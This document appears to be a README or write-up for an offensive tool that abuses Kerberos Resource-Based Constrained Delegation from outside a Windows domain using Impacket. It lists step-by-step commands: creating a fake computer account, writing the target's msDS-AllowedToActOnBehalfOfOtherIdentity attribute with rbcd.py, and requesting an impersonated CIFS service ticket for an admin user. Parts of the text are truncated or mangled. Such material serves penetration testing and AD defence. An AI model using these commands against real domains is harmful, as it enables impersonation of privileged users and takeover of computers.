Abusing Kerberos Resource-Based Constrained Delegation
> The difference from other common implementations is that we are launching the attack from outside of the Windows Domain , not from a domain joined (usually Windows) computer.
In summary, without any deep details, the attack targets a domain computer, exactly service principals related to the target domain computer.
What we need here as prerequisites:
msDS-AllowedToActOnBehalfOfOtherIdentityproperty of the target computer domain object)
Kerberos (88/tcp) access to the DC The attack path in very high level:
Create a fake computer
msDS-AllowedToActOnBehalfOfOtherIdentityproperty of the target
Request impersonated Service Tickets (S4U) for the target computer Benefit:
Impersonated Service Tickets may allow high-level access to services on the target like CIFS, HTTP, etc, if the impersonated account has privileges. Sometimes takeover of the computer.
The common toolsets for this attack operate on a domain-joined Windows Computer using:
This implementation uses pure Impacket from outside the Domain.
Creating the fake computer
Using addcomputer.py example from Impacket let's create a fake computer (called
addcomputer.py -computer-name 'evilcomputer$' -computer-pass [email protected] -dc-ip 192.168.33.203 ecorp.local/test:ohW9Lie0
Modifying delegation rights
Implemented the script rbcd.py found here in the repo which adds the related security descriptor of the newly created EVILCOMPUTER to the
msDS-AllowedToActOnBehalfOfOtherIdentity property of the target computer.
./rbcd.py -f EVILCOMPUTER -t WEB -dc-ip 192.168.33.203 ecorp\\test:ohW9Lie0
The script uses heavily the Python classes in the
ntlmrelayx.py Impacket example. For help and an example call the script without options.
Getting the impersonated service ticket
Now everything is ready for abusing the Constrained Delegation by an S4U2Self query and get an impersonated Service Ticket for the target computer. With
getST.py Impacket example script:
getST.py -spn cifs/WEB.ecorp.local -impersonate admin -dc-ip 192.168.33.203 ecorp.local/EVILCOMPUTER$:[email protected]
The above command fetches a CIFS Service Ticket on behalf of the targetted domain user
admin and stores it in the file
After adding the file path to the KRB5CCNAME variable the ticket is usable for Kerberos clients.
export KRB5CCNAME=`pwd`/admin.ccache klist
